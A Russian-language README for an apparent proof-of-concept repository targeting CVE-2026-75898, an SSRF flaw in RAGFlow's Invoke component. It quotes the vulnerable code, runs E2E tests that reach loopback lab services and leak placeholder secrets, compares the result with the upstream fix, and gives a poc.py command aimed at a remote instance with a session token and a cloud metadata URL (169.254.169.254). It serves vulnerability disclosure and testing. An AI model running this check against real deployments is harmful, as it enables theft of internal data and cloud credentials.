
Доказательство концепции для CVE-2026-75898, SSRF-уязвимости в компоненте Invoke системы RAGFlow. Демонстрирует уязвимость на немодифицированном исходном коде, включает E2E-тесты, сравнение с исправлением и воспроизведение на основе Docker для авторизованного тестирования безопасности.
Подделка серверных запросов (Server-Side Request Forgery, CWE-918) в компоненте «Invoke» агентного рабочего процесса RAGFlow, до версии 0.26.3.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Исправлено в | v0.26.3 |
| Коммиты исправления | c4fe68e, e16d1a0 |
| Ссылки на issue | infiniflow/ragflow#15425, #18280 |
| Уведомление | VulnCheck |
В agent/component/invoke.py версии v0.26.2 компонент Invoke формирует URL запроса из пользовательских шаблонов переменных и не выполняет никакой проверки разрешённого хоста:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Этот URL попадает в requests.get/post/put в _send_request(). Поскольку allow_redirects оставлен со значением по умолчанию для requests (True), атакующий может:
127.0.0.1, 169.254.169.254, диапазоны RFC1918 — привязка к разрешённому хосту отсутствует), илиИсправление добавляет assert_url_is_safe() + pin_dns() и принудительно устанавливает allow_redirects=False.
В отличие от «похожих» повторных реализаций, этот репозиторий запускает немодифицированный исходный код v0.26.2 уязвимого компонента:
target/invoke_v0.26.2.py — побайтовая копия agent/component/invoke.py из тега v0.26.2.e2e/test_genuine_ssrf.py — загружает этот реальный файл за тонкими импорт-заглушками (заглушка заменяет только несвязанные импорты: ComponentBase, декоратор timeout и HtmlParser — ни одна часть логики SSRF-пути не затрагивается) и доказывает, что компонент обращается к внутреннему сервису напрямую и через цепочку редиректов.e2e/test_fix_guard.py — применяет защиту из апстрима (assert_url_is_safe, allow_redirects=False) к тому же самому файлу и показывает, что запросы блокируются.Проверено тремя независимыми способами:
e2e/test_genuine_ssrf.py запускает немодифицированный исходный код target/invoke_v0.26.2.py против лабораторных серверов на loopback — SSRF подтверждён.e2e/test_fix_guard.py применяет защиту из апстрима к тому же файлу — заблокировано.v0.26.2 (infinity+mysql+minio+valkey) через docker compose; узел Invoke в реальном агентном потоке получил INTERNAL-DB-SECRET:dbpassword=SuperSecret123 с внутреннего порта хоста. См. LAB_DEMO.md с дословными доказательствами.cd e2e
python3 test_genuine_ssrf.py # должно вывести SSRF confirmed (уязвимо)
python3 test_fix_guard.py # должно вывести BLOCKED (исправленное поведение)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Требуется токен аутентифицированной сессии (Invoke выполняется внутри агентного потока).
python3 poc.py --poc # локальный E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke списком разрешённых адресов.Исправлено в RAGFlow v0.26.3 (август 2026). Этот PoC был независимо реконструирован из публичного уведомления и коммитов исправления исключительно для авторизованного тестирования безопасности и образовательных целей. Не аффилирован с InfiniFlow.